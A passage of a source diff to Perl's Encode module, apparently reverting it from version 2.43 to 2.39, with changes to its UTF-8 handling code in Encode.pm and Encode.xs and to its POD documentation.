; $i++ ) { - $res .= - chr( - utf8::unicode_to_native( ord( substr( $str, $i, 1 ) ) ) - ); - } - $_[1] = '' if $chk; - return $res; +# sub decode_utf8($;$) { +# my ( $str, $check ) = @_; +# return $str if is_utf8($str); +# if ($check) { +# return decode( "utf8", $str, $check ); +# } +# else { +# return decode( "utf8", $str ); +# return $str; +# } +# } + +predefine_encodings(1); + +# +# This is to restore %Encoding if really needed; +# + +sub predefine_encodings { + require Encode::Encoding; + no warnings 'redefine'; + my $use_xs = shift; + if ($ON_EBCDIC) { + + # was in Encode::UTF_EBCDIC + package Encode::UTF_EBCDIC; + push @Encode::UTF_EBCDIC::ISA, 'Encode::Encoding'; + *decode = sub { + my ( undef, $str, $chk ) = @_; + my $res = ''; + for ( my $i = 0 ; $i < length($str) ; $i++ ) { + $res .= + chr( + utf8::unicode_to_native( ord( substr( $str, $i, 1 ) ) ) + ); + } + $_[1] = '' if $chk; + return $res; + }; + *encode = sub { + my ( undef, $str, $chk ) = @_; + my $res = ''; + for ( my $i = 0 ; $i < length($str) ; $i++ ) { + $res .= + chr( + utf8::native_to_unicode( ord( substr( $str, $i, 1 ) ) ) + ); + } + $_[1] = '' if $chk; + return $res; + }; + $Encode::Encoding{Unicode} = + bless { Name => "UTF_EBCDIC" } => "Encode::UTF_EBCDIC"; } - sub encode { - my ( undef, $str, $chk ) = @_; - my $res = ''; - for ( my $i = 0 ; $i < length($str) ; $i++ ) { - $res .= - chr( - utf8::native_to_unicode( ord( substr( $str, $i, 1 ) ) ) - ); - } - $_[1] = '' if $chk; - return $res; + else { + + package Encode::Internal; + push @Encode::Internal::ISA, 'Encode::Encoding'; + *decode = sub { + my ( undef, $str, $chk ) = @_; + utf8::upgrade($str); + $_[1] = '' if $chk; + return $str; + }; + *encode = \&decode; + $Encode::Encoding{Unicode} = + bless { Name => "Internal" } => "Encode::Internal"; } -} else { - package Encode::Internal; - use parent 'Encode::Encoding'; - my $obj = bless { Name => "Internal" } => "Encode::Internal"; - Encode::define_encoding($obj, 'Unicode'); - sub decode { - my ( undef, $str, $chk ) = @_; - utf8::upgrade($str); - $_[1] = '' if $chk; - return $str; + { + # https://rt.cpan.org/Public/Bug/Display.html?id=103253 + package Encode::XS; + push @Encode::XS::ISA, 'Encode::Encoding'; } - *encode = \&decode; -} + { -{ - # https://rt.cpan.org/Public/Bug/Display.html?id=103253 - package Encode::XS; - use parent 'Encode::Encoding'; -} + # was in Encode::utf8 + package Encode::utf8; + push @Encode::utf8::ISA, 'Encode::Encoding'; -{ - package Encode::utf8; - use parent 'Encode::Encoding'; - my %obj = ( - 'utf8' => { Name => 'utf8' }, - 'utf-8-strict' => { Name => 'utf-8-strict', strict_utf8 => 1 } - ); - for ( keys %obj ) { - bless $obj{$_} => __PACKAGE__; - Encode::define_encoding( $obj{$_} => $_ ); - } - sub cat_decode { - # ($obj, $dst, $src, $pos, $trm, $chk) - # currently ignores $chk - my ( undef, undef, undef, $pos, $trm ) = @_; - my ( $rdst, $rsrc, $rpos ) = \@_[ 1, 2, 3 ]; - use bytes; - if ( ( my $npos = index( $$rsrc, $trm, $pos ) ) >= 0 ) { - $$rdst .= - substr( $$rsrc, $pos, $npos - $pos + length($trm) ); - $$rpos = $npos + length($trm); - return 1; + # + if ($use_xs) { + Encode::DEBUG and warn __PACKAGE__, " XS on"; + *decode = \&decode_xs; + *encode = \&encode_xs; } - $$rdst .= substr( $$rsrc, $pos ); - $$rpos = length($$rsrc); - return ''; + else { + Encode::DEBUG and warn __PACKAGE__, " XS off"; + *decode = sub { + my ( undef, $octets, $chk ) = @_; + my $str = Encode::decode_utf8($octets); + if ( defined $str ) { + $_[1] = '' if $chk; + return $str; + } + return undef; + }; + *encode = sub { + my ( undef, $string, $chk ) = @_; + my $octets = Encode::encode_utf8($string); + $_[1] = '' if $chk; + return $octets; + }; + } + *cat_decode = sub { # ($obj, $dst, $src, $pos, $trm, $chk) + # currently ignores $chk + my ( undef, undef, undef, $pos, $trm ) = @_; + my ( $rdst, $rsrc, $rpos ) = \@_[ 1, 2, 3 ]; + use bytes; + if ( ( my $npos = index( $$rsrc, $trm, $pos ) ) >= 0 ) { + $$rdst .= + substr( $$rsrc, $pos, $npos - $pos + length($trm) ); + $$rpos = $npos + length($trm); + return 1; + } + $$rdst .= substr( $$rsrc, $pos ); + $$rpos = length($$rsrc); + return ''; + }; + $Encode::Encoding{utf8} = + bless { Name => "utf8" } => "Encode::utf8"; + $Encode::Encoding{"utf-8-strict"} = + bless { Name => "utf-8-strict", strict_utf8 => 1 } + => "Encode::utf8"; } } @@ -486,16 +516,14 @@ ISO-8859-1, also known as Latin1: $octets = encode("iso-8859-1", $string); -B: When you run C<$octets = encode("UTF-8", $string)>, then +B: When you run C<$octets = encode("utf8", $string)>, then $octets I $string. Though both contain the same data, the UTF8 flag for $octets is I off. When you encode anything, the UTF8 flag on the result is always off, even when it -contains a completely valid UTF-8 string. See L below. +contains a completely valid utf8 string. See L below. If the $string is C, then C is returned. -C may be used as an alias for C. - =head3 decode $string = decode(ENCODING, OCTETS[, CHECK]) @@ -516,15 +544,13 @@ internal format: $string = decode("iso-8859-1", $octets); -B: When you run C<$string = decode("UTF-8", $octets)>, then $string +B: When you run C<$string = decode("utf8", $octets)>, then $string I $octets. Though both contain the same data, the UTF8 flag for $string is on. See L below. If the $string is C, then C is returned. -C may be used as an alias for C. - =head3 find_encoding [$obj =] find_encoding(ENCODING) @@ -533,11 +559,11 @@ Returns the I corresponding to I. Returns C if no matching I is find. The returned object is what does the actual encoding or decoding. - $string = decode($name, $bytes); + $utf8 = decode($name, $bytes); is in fact - $string = do { + $utf8 = do { $obj = find_encoding($name); croak qq(encoding "$name" not found) unless ref $obj; $obj->decode($bytes); @@ -549,8 +575,8 @@ You can therefore save time by reusing this object as follows; my $enc = find_encoding("iso-8859-1"); while(<>) { - my $string = $enc->decode($_); - ... # now do something with $string; + my $utf8 = $enc->decode($_); + ... # now do something with $utf8; } Besides L and L, other methods are @@ -598,13 +624,13 @@ and C on error. B: The following operations may look the same, but are not: - from_to($data, "iso-8859-1", "UTF-8"); #1 + from_to($data, "iso-8859-1", "utf8"); #1 $data = decode("iso-8859-1", $data); #2 Both #1 and #2 make $data consist of a completely valid UTF-8 string, but only #2 turns the UTF8 flag on. #1 is equivalent to: - $data = encode("UTF-8", decode("iso-8859-1", $data)); + $data = encode("utf8", decode("iso-8859-1", $data)); See L below. @@ -629,11 +655,7 @@ followed by C as follows: Equivalent to C<$octets = encode("utf8", $string)>. The characters in $string are encoded in Perl's internal format, and the result is returned as a sequence of octets. Because all possible characters in Perl have a -(loose, not strict) utf8 representation, this function cannot fail. - -B: do not use this function for data exchange as it can produce -not strict utf8 $octets! For strictly valid UTF-8 output use -C<$octets = encode("UTF-8", $string)>. +(loose, not strict) UTF-8 representation, this function cannot fail. =head3 decode_utf8 @@ -641,15 +663,11 @@ C<$octets = encode("UTF-8", $string)>. Equivalent to C<$string = decode("utf8", $octets [, CHECK])>. The sequence of octets represented by $octets is decoded -from (loose, not strict) utf8 into a sequence of logical characters. -Because not all sequences of octets are valid not strict utf8, +from UTF-8 into a sequence of logical characters. +Because not all sequences of octets are valid UTF-8, it is quite possible for this function to fail. For CHECK, see L. -B: do not use this function for data exchange as it can produce -$string with not strict utf8 representation! For strictly valid UTF-8 -$string representation use C<$string = decode("UTF-8", $octets [, CHECK])>. - B: the input I<$octets> might be modified in-place depending on what is set in CHECK. See L if you want your inputs to be left unchanged. @@ -885,14 +903,15 @@ octets that represent the fallback character. For instance: Acts like C but U+I is used instead of C<\x{I}>. -Fallback for C must return decoded string (sequence of characters) -and takes a list of ordinal values as its arguments. So for +Even the fallback for C must return octets, which are +then decoded with the character encoding that C accepts. So for example if you wish to decode octets as UTF-8, and use ISO-8859-15 as a fallback for bytes that are not valid UTF-8, you could write $str = decode 'UTF-8', $octets, sub { - my $tmp = join '', map chr, @_; - return decode 'ISO-8859-15', $tmp; + my $tmp = chr shift; + from_to $tmp, 'ISO-8859-15', 'UTF-8'; + return $tmp; }; =head1 Defining Encodings @@ -949,11 +968,38 @@ different kinds of strings and string-operations in Perl: one a byte-oriented mode for when the internal UTF8 flag is off, and the other a character-oriented mode for when the internal UTF8 flag is on. +Here is how C handles the UTF8 flag. + +=over 2 + +=item * + +When you I, the resulting UTF8 flag is always B. + +=item * + +When you I, the resulting UTF8 flag is B--I you can +unambiguously represent data. Here is what we mean by "unambiguously". +After C<$utf8 = decode("foo", $octet)>, + + When $octet is... The UTF8 flag in $utf8 is + --------------------------------------------- + In ASCII only (or EBCDIC only) OFF + In ISO-8859-1 ON + In any other Encoding ON + --------------------------------------------- + +As you see, there is one exception: in ASCII. That way you can assume +Goal #1. And with C, Goal #2 is assumed but you still have to be +careful in the cases mentioned in the B paragraphs above. + This UTF8 flag is not visible in Perl scripts, exactly for the same reason you cannot (or rather, you I) see whether a scalar contains a string, an integer, or a floating-point number. But you can still peek and poke these if you will. See the next section. +=back + =head2 Messing with Perl's Internals The following API uses parts of Perl's internals in the current @@ -968,13 +1014,6 @@ release. If I is true, also checks whether I contains well-formed UTF-8. Returns true if successful, false otherwise. -Typically only necessary for debugging and testing. Don't use this flag as -a marker to distinguish character and binary data, that should be decided -for each variable when you write your code. - -B: If I has UTF8 flag set, it does B mean that -I is UTF-8 encoded and vice-versa. - As of Perl 5.8.1, L also has the C function. =head3 _utf8_on diff --git a/cpan/Encode/Encode.xs b/cpan/Encode/Encode.xs index 774c2b1fec06..b5160d251621 100644 --- a/cpan/Encode/Encode.xs +++ b/cpan/Encode/Encode.xs @@ -1,5 +1,5 @@ /* - $Id: Encode.xs,v 2.43 2018/02/21 12:14:33 dankogai Exp dankogai $ + $Id: Encode.xs,v 2.39 2016/11/29 23:29:23 dankogai Exp dankogai $ */ #define PERL_NO_GET_CONTEXT @@ -35,13 +35,17 @@ UNIMPLEMENTED(_encoded_bytes_to_utf8, I32) #define SvIV_nomg SvIV #endif -#ifndef UTF8_DISALLOW_ILLEGAL_INTERCHANGE -# define UTF8_DISALLOW_ILLEGAL_INTERCHANGE 0 -# define UTF8_ALLOW_NON_STRICT (UTF8_ALLOW_FE_FF|UTF8_ALLOW_SURROGATE|UTF8_ALLOW_FFFF) +#ifdef UTF8_DISALLOW_ILLEGAL_INTERCHANGE +# define UTF8_ALLOW_STRICT UTF8_DISALLOW_ILLEGAL_INTERCHANGE #else -# define UTF8_ALLOW_NON_STRICT 0 +# define UTF8_ALLOW_STRICT 0 #endif +#define UTF8_ALLOW_NONSTRICT (UTF8_ALLOW_ANY & \ + ~(UTF8_ALLOW_CONTINUATION | \ + UTF8_ALLOW_NON_CONTINUATION | \ + UTF8_ALLOW_LONG)) + static void Encode_XSEncoding(pTHX_ encode_t * enc) { @@ -110,52 +114,24 @@ utf8_safe_upgrade(pTHX_ SV ** src, U8 ** s, STRLEN * slen, bool modify) #define ERR_ENCODE_NOMAP "\"\\x{%04" UVxf "}\" does not map to %s" #define ERR_DECODE_NOMAP "%s \"\\x%02" UVXf "\" does not map to Unicode" -#define ERR_DECODE_STR_NOMAP "%s \"%s\" does not map to Unicode" static SV * do_fallback_cb(pTHX_ UV ch, SV *fallback_cb) { dSP; int argc; - SV *retval; + SV *retval = newSVpv("",0); ENTER; SAVETMPS; PUSHMARK(sp); - XPUSHs(sv_2mortal(newSVuv(ch))); + XPUSHs(sv_2mortal(newSVnv((UV)ch))); PUTBACK; argc = call_sv(fallback_cb, G_SCALAR); SPAGAIN; if (argc != 1){ croak("fallback sub must return scalar!"); } - retval = POPs; - SvREFCNT_inc(retval); - PUTBACK; - FREETMPS; - LEAVE; - return retval; -} - -static SV * -do_bytes_fallback_cb(pTHX_ U8 *s, STRLEN slen, SV *fallback_cb) -{ - dSP; - int argc; - STRLEN i; - SV *retval; - ENTER; - SAVETMPS; - PUSHMARK(sp); - for (i=0; i *offset){ /* safeguard against slen overflow */ - slen -= *offset; + slen -= *offset; }else{ - slen = 0; + slen = 0; } tlen = slen; } if (slen == 0){ - SvCUR_set(dst, 0); - SvPOK_only(dst); - goto ENCODE_END; + SvCUR_set(dst, 0); + SvPOK_only(dst); + goto ENCODE_END; } while( (code = do_encode(dir, s, &slen, d, dlen, &dlen, !check, - trm, trmlen)) ) + trm, trmlen)) ) { - SvCUR_set(dst, dlen+ddone); - SvPOK_only(dst); - - if (code == ENCODE_FALLBACK || code == ENCODE_PARTIAL || - code == ENCODE_FOUND_TERM) { - break; - } - switch (code) { - case ENCODE_NOSPACE: - { - STRLEN more = 0; /* make sure you initialize! */ - STRLEN sleft; - sdone += slen; - ddone += dlen; - sleft = tlen - sdone; + SvCUR_set(dst, dlen+ddone); + SvPOK_only(dst); + + if (code == ENCODE_FALLBACK || code == ENCODE_PARTIAL || + code == ENCODE_FOUND_TERM) { + break; + } + switch (code) { + case ENCODE_NOSPACE: + { + STRLEN more = 0; /* make sure you initialize! */ + STRLEN sleft; + sdone += slen; + ddone += dlen; + sleft = tlen - sdone; #if ENCODE_XS_PROFILE >= 2 - Perl_warn(aTHX_ - "more=%d, sdone=%d, sleft=%d, SvLEN(dst)=%d\n", - more, sdone, sleft, SvLEN(dst)); + Perl_warn(aTHX_ + "more=%d, sdone=%d, sleft=%d, SvLEN(dst)=%d\n", + more, sdone, sleft, SvLEN(dst)); #endif - if (sdone != 0) { /* has src ever been processed ? */ + if (sdone != 0) { /* has src ever been processed ? */ #if ENCODE_XS_USEFP == 2 - more = (1.0*tlen*SvLEN(dst)+sdone-1)/sdone - - SvLEN(dst); + more = (1.0*tlen*SvLEN(dst)+sdone-1)/sdone + - SvLEN(dst); #elif ENCODE_XS_USEFP - more = (STRLEN)((1.0*SvLEN(dst)+1)/sdone * sleft); + more = (STRLEN)((1.0*SvLEN(dst)+1)/sdone * sleft); #else - /* safe until SvLEN(dst) == MAX_INT/16 */ - more = (16*SvLEN(dst)+1)/sdone/16 * sleft; + /* safe until SvLEN(dst) == MAX_INT/16 */ + more = (16*SvLEN(dst)+1)/sdone/16 * sleft; #endif - } - more += UTF8_MAXLEN; /* insurance policy */ - d = (U8 *) SvGROW(dst, SvLEN(dst) + more); - /* dst need to grow need MORE bytes! */ - if (ddone >= SvLEN(dst)) { - Perl_croak(aTHX_ "Destination couldn't be grown."); - } - dlen = SvLEN(dst)-ddone-1; - d += ddone; - s += slen; - slen = tlen-sdone; - continue; } - + more += UTF8_MAXLEN; /* insurance policy */ + d = (U8 *) SvGROW(dst, SvLEN(dst) + more); + /* dst need to grow need MORE bytes! */ + if (ddone >= SvLEN(dst)) { + Perl_croak(aTHX_ "Destination couldn't be grown."); + } + dlen = SvLEN(dst)-ddone-1; + d += ddone; + s += slen; + slen = tlen-sdone; + continue; + } case ENCODE_NOREP: /* encoding */ if (dir == enc->f_utf8) { @@ -266,22 +241,16 @@ encode_method(pTHX_ const encode_t * enc, const encpage_t * dir, SV * src, U8 * goto ENCODE_SET_SRC; } if (check & (ENCODE_PERLQQ|ENCODE_HTMLCREF|ENCODE_XMLCREF)){ - STRLEN sublen; - char *substr; SV* subchar = (fallback_cb != &PL_sv_undef) ? do_fallback_cb(aTHX_ ch, fallback_cb) : newSVpvf(check & ENCODE_PERLQQ ? "\\x{%04" UVxf "}" : check & ENCODE_HTMLCREF ? "&#%" UVuf ";" : "&#x%" UVxf ";", (UV)ch); - substr = SvPV(subchar, sublen); - if (SvUTF8(subchar) && sublen && !utf8_to_bytes((U8 *)substr, &sublen)) { /* make sure no decoded string gets in */ - SvREFCNT_dec(subchar); - croak("Wide character"); - } + SvUTF8_off(subchar); /* make sure no decoded string gets in */ sdone += slen + clen; - ddone += dlen + sublen; - sv_catpvn(dst, substr, sublen); + ddone += dlen + SvCUR(subchar); + sv_catsv(dst, subchar); SvREFCNT_dec(subchar); } else { /* fallback char */ @@ -308,37 +277,34 @@ encode_method(pTHX_ const encode_t * enc, const encpage_t * dir, SV * src, U8 * } if (check & (ENCODE_PERLQQ|ENCODE_HTMLCREF|ENCODE_XMLCREF)){ - STRLEN sublen; - char *substr; SV* subchar = (fallback_cb != &PL_sv_undef) ? do_fallback_cb(aTHX_ (UV)s[slen], fallback_cb) : newSVpvf("\\x%02" UVXf, (UV)s[slen]); - substr = SvPVutf8(subchar, sublen); sdone += slen + 1; - ddone += dlen + sublen; - sv_catpvn(dst, substr, sublen); + ddone += dlen + SvCUR(subchar); + sv_catsv(dst, subchar); SvREFCNT_dec(subchar); } else { sdone += slen + 1; ddone += dlen + strlen(FBCHAR_UTF8); - sv_catpvn(dst, FBCHAR_UTF8, strlen(FBCHAR_UTF8)); + sv_catpv(dst, FBCHAR_UTF8); } } /* settle variables when fallback */ d = (U8 *)SvEND(dst); - dlen = SvLEN(dst) - ddone - 1; + dlen = SvLEN(dst) - ddone - 1; s = (U8*)SvPVX(src) + sdone; slen = tlen - sdone; break; - default: - Perl_croak(aTHX_ "Unexpected code %d converting %s %s", - code, (dir == enc->f_utf8) ? "to" : "from", - enc->name[0]); - return &PL_sv_undef; - } - } /* End of looping through the string */ + default: + Perl_croak(aTHX_ "Unexpected code %d converting %s %s", + code, (dir == enc->f_utf8) ? "to" : "from", + enc->name[0]); + return &PL_sv_undef; + } + } ENCODE_SET_SRC: if (check && !(check & ENCODE_LEAVE_SRC)){ sdone = SvCUR(src) - (slen+sdone); @@ -362,7 +328,7 @@ encode_method(pTHX_ const encode_t * enc, const encpage_t * dir, SV * src, U8 * } #endif - if (offset) + if (offset) *offset += sdone + slen; ENCODE_END: @@ -386,13 +352,6 @@ strict_utf8(pTHX_ SV* sv) return SvTRUE(*svp); } -/* Modern perls have the capability to do this more efficiently and portably */ -#ifdef utf8n_to_uvchr_msgs -# define CAN_USE_BASE_PERL -#endif - -#ifndef CAN_USE_BASE_PERL - /* * https://github.com/dankogai/p5-encode/pull/56#issuecomment-231959126 */ @@ -423,7 +382,7 @@ convert_utf8_multi_seq(U8* s, STRLEN len, STRLEN *rlen) U8 *ptr = s; bool overflowed = 0; - uv = NATIVE_TO_UTF(*s) & UTF_START_MASK(UTF8SKIP(s)); + uv = NATIVE_TO_UTF(*s) & UTF_START_MASK(len); len--; s++; @@ -442,44 +401,23 @@ convert_utf8_multi_seq(U8* s, STRLEN len, STRLEN *rlen) *rlen = s-ptr; if (overflowed || *rlen > (STRLEN)UNISKIP(uv)) { + *rlen = 1; return 0; } return uv; } -#endif /* CAN_USE_BASE_PERL */ - static U8* process_utf8(pTHX_ SV* dst, U8* s, U8* e, SV *check_sv, bool encode, bool strict, bool stop_at_partial) { - /* Copies the purportedly UTF-8 encoded string starting at 's' and ending - * at 'e' - 1 to 'dst', checking as it goes along that the string actually - * is valid UTF-8. There are two levels of strictness checking. If - * 'strict' is FALSE, the string is checked for being well-formed UTF-8, as - * extended by Perl. Additionally, if 'strict' is TRUE, above-Unicode code - * points, surrogates, and non-character code points are checked for. When - * invalid input is encountered, some action is taken, exactly what depends - * on the flags in 'check_sv'. 'encode' gives if this is from an encode - * operation (if TRUE), or a decode one. This function returns the - * position in 's' of the start of the next character beyond where it got - * to. If there were no problems, that will be 'e'. If 'stop_at_partial' - * is TRUE, if the final character before 'e' is incomplete, but valid as - * far as is available, no action will be taken on that partial character, - * and the return value will point to its first byte */ - UV uv; STRLEN ulen; SV *fallback_cb; int check; U8 *d; STRLEN dlen; - char esc[UTF8_MAXLEN * 6 + 1]; - STRLEN i; - const U32 flags = (strict) - ? UTF8_DISALLOW_ILLEGAL_INTERCHANGE - : UTF8_ALLOW_NON_STRICT; if (SvROK(check_sv)) { /* croak("UTF-8 decoder doesn't support callback CHECK"); */ @@ -497,67 +435,28 @@ process_utf8(pTHX_ SV* dst, U8* s, U8* e, SV *check_sv, dlen = (s && e && s < e) ? e-s+1 : 1; d = (U8 *) SvGROW(dst, dlen); - stop_at_partial = stop_at_partial || (check & ENCODE_STOP_AT_PARTIAL); - while (s < e) { - -#ifdef CAN_USE_BASE_PERL /* Use the much faster, portable implementation if - available */ - - /* If there were no errors, this will be 'e'; otherwise it will point - * to the first byte of the erroneous input */ - const U8* e_or_where_failed; - bool valid = is_utf8_string_loc_flags(s, e - s, &e_or_where_failed, flags); - STRLEN len = e_or_where_failed - s; - - /* Copy as far as was successful */ - Move(s, d, len, U8); - d += len; - s = (U8 *) e_or_where_failed; - - /* Are done if it was valid, or we are accepting partial characters and - * the only error is that the final bytes form a partial character */ - if ( LIKELY(valid) - || ( stop_at_partial - && is_utf8_valid_partial_char_flags(s, e, flags))) - { - break; - } - - /* Here, was not valid. If is 'strict', and is legal extended UTF-8, - * we know it is a code point whose value we can calculate, just not - * one accepted under strict. Otherwise, it is malformed in some way. - * In either case, the system function can calculate either the code - * point, or the best substitution for it */ - uv = utf8n_to_uvchr(s, e - s, &ulen, UTF8_ALLOW_ANY); - -#else /* Use code for earlier perls */ - - ((void)sizeof(flags)); /* Avoid compiler warning */ - if (UTF8_IS_INVARIANT(*s)) { *d++ = *s++; continue; } - uv = 0; ulen = 1; - if (! UTF8_IS_CONTINUATION(*s)) { - /* Not an invariant nor a continuation; must be a start byte. (We - * can't test for UTF8_IS_START as that excludes things like \xC0 - * which are start bytes, but always lead to overlongs */ - + if (UTF8_IS_START(*s)) { U8 skip = UTF8SKIP(s); if ((s + skip) > e) { - /* just calculate ulen, in pathological cases can be smaller then e-s */ - if (e-s >= 2) - convert_utf8_multi_seq(s, e-s, &ulen); - else - ulen = 1; - - if (stop_at_partial && ulen == (STRLEN)(e-s)) + if (stop_at_partial || (check & ENCODE_STOP_AT_PARTIAL)) { + const U8 *p = s + 1; + for (; p < e; p++) { + if (!UTF8_IS_CONTINUATION(*p)) { + ulen = p-s; + goto malformed_byte; + } + } break; + } + ulen = e-s; goto malformed_byte; } @@ -576,77 +475,44 @@ process_utf8(pTHX_ SV* dst, U8* s, U8* e, SV *check_sv, } /* If we get here there is something wrong with alleged UTF-8 */ - /* uv is used only when encoding */ malformed_byte: - if (uv == 0) - uv = (UV)*s; - if (encode || ulen == 0) + uv = (UV)*s; + if (ulen == 0) ulen = 1; malformed: - -#endif /* The two versions for processing come back together here, for the - * error handling code. - * - * Here, we are looping through the input and found an error. - * 'uv' is the code point in error if calculable, or the REPLACEMENT - * CHARACTER if not. - * 'ulen' is how many bytes of input this iteration of the loop - * consumes */ - - if (!encode && (check & (ENCODE_DIE_ON_ERR|ENCODE_WARN_ON_ERR|ENCODE_PERLQQ))) - for (i=0; iname[0], strlen(enc->name[0])); -OUTPUT: - RETVAL +{ + encode_t *enc = INT2PTR(encode_t *, SvIV(SvRV(obj))); + ST(0) = sv_2mortal(newSVpvn(enc->name[0],strlen(enc->name[0]))); + XSRETURN(1); +} -bool +void Method_cat_decode(obj, dst, src, off, term, check_sv = &PL_sv_no) SV * obj SV * dst @@ -866,6 +734,7 @@ INIT: enc = INT2PTR(encode_t *, SvIV(SvRV(obj))); offset = (STRLEN)SvIV(off); CODE: +{ if (!SvOK(src)) XSRETURN_NO; s = modify ? (U8 *)SvPV_force_nomg(src, slen) : (U8 *)SvPV_nomg(src, slen); @@ -876,9 +745,13 @@ CODE: sv_catsv(dst, tmp); SvREFCNT_dec(tmp); SvIV_set(off, (IV)offset); - RETVAL = (code == ENCODE_FOUND_TERM); -OUTPUT: - RETVAL + if (code == ENCODE_FOUND_TERM) { + ST(0) = &PL_sv_yes; + }else{ + ST(0) = &PL_sv_no; + } + XSRETURN(1); +} SV * Method_decode(obj,src,check_sv = &PL_sv_no) @@ -900,6 +773,7 @@ INIT: modify = (check && !(check & ENCODE_LEAVE_SRC)); enc = INT2PTR(encode_t *, SvIV(SvRV(obj))); CODE: +{ if (!SvOK(src)) XSRETURN_UNDEF; s = modify ? (U8 *)SvPV_force_nomg(src, slen) : (U8 *)SvPV_nomg(src, slen); @@ -908,6 +782,7 @@ CODE: RETVAL = encode_method(aTHX_ enc, enc->t_utf8, src, s, slen, check, NULL, Nullsv, NULL, fallback_cb); SvUTF8_on(RETVAL); +} OUTPUT: RETVAL @@ -931,6 +806,7 @@ INIT: modify = (check && !(check & ENCODE_LEAVE_SRC)); enc = INT2PTR(encode_t *, SvIV(SvRV(obj))); CODE: +{ if (!SvOK(src)) XSRETURN_UNDEF; s = modify ? (U8 *)SvPV_force_nomg(src, slen) : (U8 *)SvPV_nomg(src, slen); @@ -938,51 +814,76 @@ CODE: utf8_safe_upgrade(aTHX_ &src, &s, &slen, modify); RETVAL = encode_method(aTHX_ enc, enc->f_utf8, src, s, slen, check, NULL, Nullsv, NULL, fallback_cb); +} OUTPUT: RETVAL -bool +void Method_needs_lines(obj) SV * obj CODE: +{ + /* encode_t *enc = INT2PTR(encode_t *, SvIV(SvRV(obj))); */ PERL_UNUSED_VAR(obj); - RETVAL = FALSE; -OUTPUT: - RETVAL + ST(0) = &PL_sv_no; + XSRETURN(1); +} -bool +void Method_perlio_ok(obj) SV * obj PREINIT: SV *sv; CODE: +{ + /* encode_t *enc = INT2PTR(encode_t *, SvIV(SvRV(obj))); */ + /* require_pv(PERLIO_FILENAME); */ + PERL_UNUSED_VAR(obj); - sv = eval_pv("require PerlIO::encoding", 0); - RETVAL = SvTRUE(sv); -OUTPUT: - RETVAL + eval_pv("require PerlIO::encoding", 0); + SPAGAIN; -SV * + sv = get_sv("@", 0); + if (SvTRUE(sv)) { + ST(0) = &PL_sv_no; + }else{ + ST(0) = &PL_sv_yes; + } + XSRETURN(1); +} + +void Method_mime_name(obj) SV * obj PREINIT: - encode_t *enc; -INIT: - enc = INT2PTR(encode_t *, SvIV(SvRV(obj))); + SV *sv; CODE: - ENTER; - SAVETMPS; - PUSHMARK(sp); - XPUSHs(sv_2mortal(newSVpvn(enc->name[0], strlen(enc->name[0])))); - PUTBACK; - call_pv("Encode::MIME::Name::get_mime_name", G_SCALAR); +{ + encode_t *enc = INT2PTR(encode_t *, SvIV(SvRV(obj))); + SV *retval; + eval_pv("require Encode::MIME::Name", 0); SPAGAIN; - RETVAL = newSVsv(POPs); - PUTBACK; - FREETMPS; - LEAVE; -OUTPUT: - RETVAL + + sv = get_sv("@", 0); + if (SvTRUE(sv)) { + ST(0) = &PL_sv_undef; + }else{ + ENTER; + SAVETMPS; + PUSHMARK(sp); + XPUSHs(sv_2mortal(newSVpvn(enc->name[0], strlen(enc->name[0])))); + PUTBACK; + call_pv("Encode::MIME::Name::get_mime_name", G_SCALAR); + SPAGAIN; + retval = newSVsv(POPs); + PUTBACK; + FREETMPS; + LEAVE; + /* enc->name[0] */ + ST(0) = retval; + } + XSRETURN(1); +} MODULE = Encode PACKAGE = Encode @@ -991,11 +892,10 @@ PROTOTYPES: ENABLE I32 _bytes_to_utf8(sv, ...) SV * sv -PREINIT: - SV * encoding; -INIT: - encoding = items == 2 ? ST(1) : Nullsv; CODE: +{ + SV * encoding = items == 2 ? ST(1) : Nullsv; + if (encoding) RETVAL = _encoded_bytes_to_utf8(sv, SvPV_nolen(encoding)); else { @@ -1009,19 +909,18 @@ CODE: Safefree(converted); /* ... so free it */ RETVAL = len; } +} OUTPUT: RETVAL I32 _utf8_to_bytes(sv, ...) SV * sv -PREINIT: - SV * to; - SV * check; -INIT: - to = items > 1 ? ST(1) : Nullsv; - check = items > 2 ? ST(2) : Nullsv; CODE: +{ + SV * to = items > 1 ? ST(1) : Nullsv; + SV * check = items > 2 ? ST(2) : Nullsv; + if (to) { RETVAL = _encoded_utf8_to_bytes(sv, SvPV_nolen(to)); } else { @@ -1081,6 +980,7 @@ CODE: RETVAL = (utf8_to_bytes(s, &len) ? len : 0); } } +} OUTPUT: RETVAL @@ -1092,11 +992,13 @@ PREINIT: char *str; STRLEN len; CODE: +{ SvGETMAGIC(sv); /* SvGETMAGIC() can modify SvOK flag */ str = SvOK(sv) ? SvPV_nomg(sv, len) : NULL; /* SvPV() can modify SvUTF8 flag */ RETVAL = SvUTF8(sv) ? TRUE : FALSE; if (RETVAL && check && (!str || !is_utf8_string((U8 *)str, len))) RETVAL = FALSE; +} OUTPUT: RETVAL @@ -1104,15 +1006,17 @@ SV * _utf8_on(sv) SV * sv CODE: +{ SvGETMAGIC(sv); if (!SvTAINTED(sv) && SvPOKp(sv)) { if (SvTHINKFIRST(sv)) sv_force_normal(sv); - RETVAL = boolSV(SvUTF8(sv)); + RETVAL = newSViv(SvUTF8(sv)); SvUTF8_on(sv); SvSETMAGIC(sv); } else { RETVAL = &PL_sv_undef; } +} OUTPUT: RETVAL @@ -1120,25 +1024,20 @@ SV * _utf8_off(sv) SV * sv CODE: +{ SvGETMAGIC(sv); if (!SvTAINTED(sv) && SvPOKp(sv)) { if (SvTHINKFIRST(sv)) sv_force_normal(sv); - RETVAL = boolSV(SvUTF8(sv)); + RETVAL = newSViv(SvUTF8(sv)); SvUTF8_off(sv); SvSETMAGIC(sv); } else { RETVAL = &PL_sv_undef; } +} OUTPUT: RETVAL -void -onBOOT() -CODE: -{ -#include "def_t.exh" -} - BOOT: { HV *stash = gv_stashpvn("Encode", strlen("Encode"), GV_ADD); @@ -1158,3 +1057,6 @@ BOOT: newCONSTSUB(stash, "FB_HTMLCREF", newSViv(ENCODE_FB_HTMLCREF)); newCONSTSUB(stash, "FB_XMLCREF", newSViv(ENCODE_FB_XMLCREF)); } +{ +#include "def_t.exh" +} diff --git a/cpan/Encode/Encode/encode.h b/cpan/Encode/Encode/encode.h index df5554f1cb8f..5fbcf76ad387 100644 --- a/cpan/Encode/Encode/encode.h +++ b/cpan/Encode/Encode/encode.h @@ -88,12 +88,7 @@ extern void Encode_DefineEncoding(encode_t *enc); #define ENCODE_FALLBACK 4 #define ENCODE_FOUND_TERM 5 -/* Use the perl core value if available; it is portable to EBCDIC */ -#ifdef REPLACEMENT_CHARACTER_UTF8 -# define 